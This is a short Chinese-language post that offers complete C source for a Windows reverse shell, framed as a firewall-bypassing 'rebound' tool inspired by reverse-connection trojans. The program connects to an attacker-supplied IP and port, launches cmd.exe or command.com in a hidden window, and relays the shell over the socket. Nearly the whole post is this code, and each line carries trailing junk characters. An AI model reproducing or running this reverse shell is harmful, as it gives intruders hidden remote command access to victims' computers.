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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bD v& ;Z  
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/* ============================== ;R+Gf!1  
Rebound port in Windows NT n 'ZPB  
By wind,2006/7 [p4([ef '  
===============================*/ #IppjaPl8  
#include PdKcDKJ  
#include MZ)lNU l  
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#pragma comment(lib,"wsock32.lib") &LV'"2ng8  
{U9{*e$=  
void OutputShell(); #F/W_G7v  
SOCKET sClient; fm#7}Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :tENn r.9v  
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void main(int argc,char **argv) wI7.M Gt  
{ 2L<1]:I  
WSADATA stWsaData; di;~$rI!?  
int nRet; e<DcuF<ZS  
SOCKADDR_IN stSaiClient,stSaiServer; C^?/9\  
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if(argc != 3) dM"5obEb  
{ Y;\@ 5TgQ,  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4{,!'NA  
return;  v?d`fd  
} JrxQ.,*i  
{#=o4~u%;H  
WSAStartup(MAKEWORD(2,2),&stWsaData); {#t7lV'4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yl1l$[A$  
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stSaiClient.sin_family = AF_INET; a U<+ `  
stSaiClient.sin_port = htons(0); 9qq6P!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sC f)#6mI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nBd(p Oe  
{ n-?zH:]GG{  
printf("Bind Socket Failed!\n"); D3O)Tj@:}(  
return; Dl?:Mh  
} oh:.iL}j  
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stSaiServer.sin_family = AF_INET; |@B|o-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /+<G@+(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u3cl7~- yW  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?wIw$p>wT  
{ 6/0bis H  
printf("Connect Error!"); Q{ g{  
return; !6 kn>447Y  
} M"Y ,kA|+  
OutputShell(); M^n^wz  
} @E> rqI;`  
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void OutputShell() a0k/R<4  
{ /.UISArH  
char szBuff[1024]; p8iKZI]g  
SECURITY_ATTRIBUTES stSecurityAttributes; @6y)wA9Yx  
OSVERSIONINFO stOsversionInfo; (2 P&@!|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (F*y27_u  
STARTUPINFO stStartupInfo; Eh *u6K)Z  
char *szShell; ?%T]V+40  
PROCESS_INFORMATION stProcessInformation; ,W$&OD  
unsigned long lBytesRead; /i"1e:cK  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7Xh ;dJAF3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T'5MO\  
stSecurityAttributes.lpSecurityDescriptor = 0; V|2[>\Cv  
stSecurityAttributes.bInheritHandle = TRUE; h\6 t\_^\  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MZ^(BOe_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IRsyy\[kp8  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C jz(-018  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6"2IV  
stStartupInfo.wShowWindow = SW_HIDE; <,t6A?YoMP  
stStartupInfo.hStdInput = hReadPipe; Vo(bro4ZQi  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iG{xDj{CKv  
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GetVersionEx(&stOsversionInfo); >B$B|g~  
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switch(stOsversionInfo.dwPlatformId) 5~RR _G  
{ lG`%4}1  
case 1: `dgZ`#  
szShell = "command.com"; >UXNR`?  
break; N}'2GBqfU4  
default: m :2A[H+  
szShell = "cmd.exe"; D1wONss  
break; -=2V4WU~  
} :;w#l"e7<  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {Lsl2@22  
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send(sClient,szMsg,77,0); ZtX CPA!  
while(1) m(^nG_eX  
{ Am"&ApK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1P G"IaOb  
if(lBytesRead) wB"`lY   
{ Fm[3Btn  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }qBmt>#  
send(sClient,szBuff,lBytesRead,0); kTm}VTr 1  
} 2u(G:cR  
else KESM5p"f  
{ f8)fm2^09  
lBytesRead=recv(sClient,szBuff,1024,0); a: F\4x=  
if(lBytesRead<=0) break; =OFx4#6a  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6K^O.VoV^J  
} OU<v9`<  
} !gJw?(8"  
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return; m"wP]OQH*+  
}
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